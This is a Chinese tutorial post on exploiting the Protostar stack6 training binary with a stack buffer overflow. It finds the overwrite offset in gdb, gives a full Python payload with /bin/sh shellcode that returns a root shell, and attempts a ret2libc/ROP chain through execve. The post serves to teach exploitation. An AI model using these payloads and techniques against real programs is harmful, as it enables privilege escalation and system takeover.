用ROP进行栈溢出攻击Linux服务器

通过Protostar stack6演示Linux下ROP的简单使用,ROP就是所谓的Return Orientated Programming,早期也叫ret2libc,思路是一样的,只是平台换到了Linux下而已。

0×01. __builtin_return_address函数

先介绍下__builtin_return_address这个函数,这个函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取返回地址。Windows下好像也有个类似的函数,不过具体叫什么忘记了。看一个例子就知道这个函数的用处了:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
void foo()
{
    printf("in foo()n");
    printf("Foo: __builtin_return_address(0) = 0x%08Xn",
        __builtin_return_address(0));
    printf("Foo: __builtin_return_address(1) = 0x%08Xn",
        __builtin_return_address(1));
    bar();
}
 
void bar()
{
    printf("in bar()n");
    printf("Bar: __builtin_return_address(0) = 0x%08Xn",
        __builtin_return_address(0));
    printf("Bar: __builtin_return_address(1) = 0x%08Xn",
        __builtin_return_address(1));
}
 
int main(int argc, char **argv)
{
    foo();
 
    return 0;
}

编译之后用gdb调试,情况如下:

foo中调用__builtin_return_address(1)得到的结果就是main函数执行完之后的返回地址。

0×02. 直接在栈上执行Shellcode

题目的源代码如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void getpath()
{
    char buffer[64];
    unsigned int ret;
 
    printf("input path please: "); fflush(stdout);
    gets(buffer);
    ret = __builtin_return_address(0);
 
    if((ret & 0xbf000000) == 0xbf000000) {
        printf("bzzzt (%p)n", ret);
        _exit(1);
    }
 
    printf("got path %sn", buffer);
}
 
int main(int argc, char **argv)
{
    getpath();
}

可以看出buffer是可以溢出的,但是后面对返回地址有一个校验,即最高位不能是0xBF,而栈的地址的最高位就是0xBF,所以不能直接跳转到栈上面去执行Shellcode,但是我们可以通过.text中的一条ret指令作为跳转。首先需要测试返回地址的覆盖字段位于输入数据中的位置:

python -c "print 'A'*80+'B'*4" > data.txt
gdb stack6
disas getpath
b *0x080484b8   #在这里返回地址放到了eax中
r < data.txt
info registers eax

看到eax刚好为0×42424242,也就是返回地址被覆盖成了0×42424242。现在需要一条ret指令,可以直接取main函数的最后一条指令,通过disas main可以查看到地址为0×08048508。如果我们把返回地址覆盖为0×08048508,那么从getpath返回后就跑去0×08048508这个地址去执行了,而这里又是一条返回地址,那么我们可以在栈上放一个指向Shellcode的地址。

现在需要知道buffer的地址,在gets调用处下断点:

disas getpath
b *0x080484aa  #这里调用gets
info registers eax

得到buffer的地址为0xBFFFFCCC。buffer的起始地址知道了,我们就可以知道Shellcode的位置了:
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。

下面是数据的布局:

用Python生成这段数据,并当做stack6程序的输入数据:

python -c "print 'A'*80 + 'x08x85x04x08' + 'x24xFDxFFxBF' + 'x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80'" > data.txt
 
gdb stack6
r < data.txt
 
whoami
root

0×03. 使用ROP技术

其实上面跳转到main函数的最后一条ret指令的方法就是使用了ROP的思想了,不过现在假设栈没有可执行属性,那么上面的方法就不行了。我们可以考虑使用execve(“/bin/sh”, 0, 0) 执行shell。为此,需要先找到execve的地址,gdb下输入如下命令:

print execve #为0xb7f2e170
print exit   #为0xb7ec60c0

通过x /1000s $esp查找/bin/sh字符串,在0xbffffefb发现字符串”SHELL=/bin/bash”,我们需要的地址为0xbffffefb+6=0xBFFFFF01。当然也可以在输入的时候直接传入字符串,不过需要控制字符串结束符,gets又不能读(读入的是0x0D,不是0×00),额外处理为很麻烦。上面的查找方法是查找进程中的环境变量字符串实现的。同时我们也能找到指向0×00000000的指针,如0xBFFFFD6A,往execve的第二个第三个参数传入这样的指针也是可以的。

protostar stack6 通过esp查找环境变量

现在我们的数据布局如下:

execve调用之后是不会返回的,所以填充的那个exit的地址也可以是其他的不带NULL的数据,按我所想象的,这样之后就可以了。

python -c "print 'A'*80 + 'x08x85x04x08' + 'x70xE1xF2xB7' + 'xC0x60xECxB7' + 'x01xFFxFFxBF' + 'x6AxFDxFFxBF' + 'x6AxFDxFFxBF'" > data.txt
 
gdb stack6
r < data.txt

不过这里在gdb中看到,/bin/bash执行后立刻就退出了,这个估计是使用execve的方式不对,ROP思路本身是没有问题的,下次分析下第一种方法中的Shellcode,就知道怎么用了。

0×04. gdb调试学习

反汇编指定区域的数据:disas /r 0x0804a000 0x0804b000
查看函数地址:print execve
修改内存数据:set *((char*)0x0804aabb=0×00 选择对应的type即可
将文件数据作为输入:run < 文件路径
将shell命令输出作为命令行参数:run $(python -c "print 'A'*100")

时间: 2024-09-17 16:45:22

用ROP进行栈溢出攻击Linux服务器的相关文章

Fairware勒索软件频繁攻击Linux服务器 大家赶紧做好备份

近期,Linux服务器管理员们报告了多次攻击,这些攻击导致服务器的web文件夹消失.网站无限期关闭.在BleepingComputer网站的论坛上,众多帖子证实了大量这样的攻击. 据一个受害者说,此类攻击最可能是SSH暴力攻击造成的入侵.在每一次这样的攻击中,攻击者都会删除web文件夹并留下一个read_me文件,里面的链接指向一个贴有勒索信的Pastebin网站页面.攻击者在勒索信中索取2个比特币来交换文件. 什么是勒索软件 勒索软件通常会将用户系统上文档.邮件.数据库.源代码.图片.压缩文件

[翻译]现代Linux系统上的栈溢出攻击【转】

转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E7%9A%84%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/ 现代Linux系统上的栈溢出攻击 2012.12.21 - 06:56 - jip 预备知识: 对C语言和 X86_64 汇编语言有基本的了解 ++++++++++++++++++++++++

分级防御对Linux服务器的攻击

随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解决方案. 随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解决方案. 对Linux服务器攻击的定义是:攻击是一种旨在妨碍.损害.削弱.破坏Linux服务器安全的未授权行为.攻击的

防范4种级别攻击来确保Linux服务器

    以下的文章主要描述的是防范四种级别攻击确保Linux服务器安全,如果你对防范四种级别攻击确保Linux服务器安全心存好奇的话,以下的文章将会揭开它的神秘面纱.随着Linux企业应用的不断扩展. 有大量的网络服务器都在使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注. 这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解决方案. 随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据

确保Linux服务器安全 防范四种级别攻击_Linux

随着Linux企业应用的不断扩展. 有大量的网络服务器都在使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注. 这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解决方案. 随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解决方案. 对Linux服务器攻击的定义是:攻击是一种旨在妨碍.损害.削弱.破坏Linux服务器安全的未授权

Linux下基本栈溢出攻击【转】

转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415 版权声明:本文为博主原创文章,未经博主允许不得转载. 目录(?)[-] 转载请注明出处httpblogcsdnnetwangxiaolong_china   1    Linux栈溢出保护机制 1   基本栈溢出攻击原理及实验 转载请注明出处:http://blog.csdn.net/wangxiaolong_china   1.1    Linux栈溢出保护机制

大规模请求的Linux服务器如何优化连接数?

默认的Linux服务器文件描述符等打开最大是1024,用 ulimit -a 查看:     [viewuser@~]$ ulimit -a    core file size          (blocks, -c) 0   #coredump 文件大小    data seg size           (kbytes, -d) unlimited    scheduling priority             (-e) 0    file size               (

简略讲解对Linux服务器的四种入侵级别

随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解决方案. 对Linux服务器攻击的定义是:攻击是一种旨在妨碍.损害.削弱.破坏Linux服务器安全的未授权行为.攻击的范围可以从服务拒绝直至完全危害和破坏Linux服务器.对Linux服务器攻击有许多种类,本文从攻击深度的角度说明,我们把攻击分为四级. 攻击级别一:服务拒绝攻击(DoS) 由于DoS攻击工具的泛滥

如何使Linux服务器变得更安全

  牢记以下这七点会让你的Linux服务器变得更安全 图1:运行中的服务. 安装所需的服务 如果你打算运行一台服务器,可能会想"我有来自Linode的40GB固态硬盘(SSD)存储系统,于是我可以安装想要安装的任何服务."没错,你的地盘你作主:可以在服务器上安装任意软件.不过,别犯想当然的毛病.连最固若金汤的服务器也会因有人钻了在该服务器上运行的任何未打补丁或易受攻击的软件组件的空子而被劫持. 所以,头一条规则就是让你的服务器尽量精简.只安装你确实需要的那些程序包.要是有不需要的程序包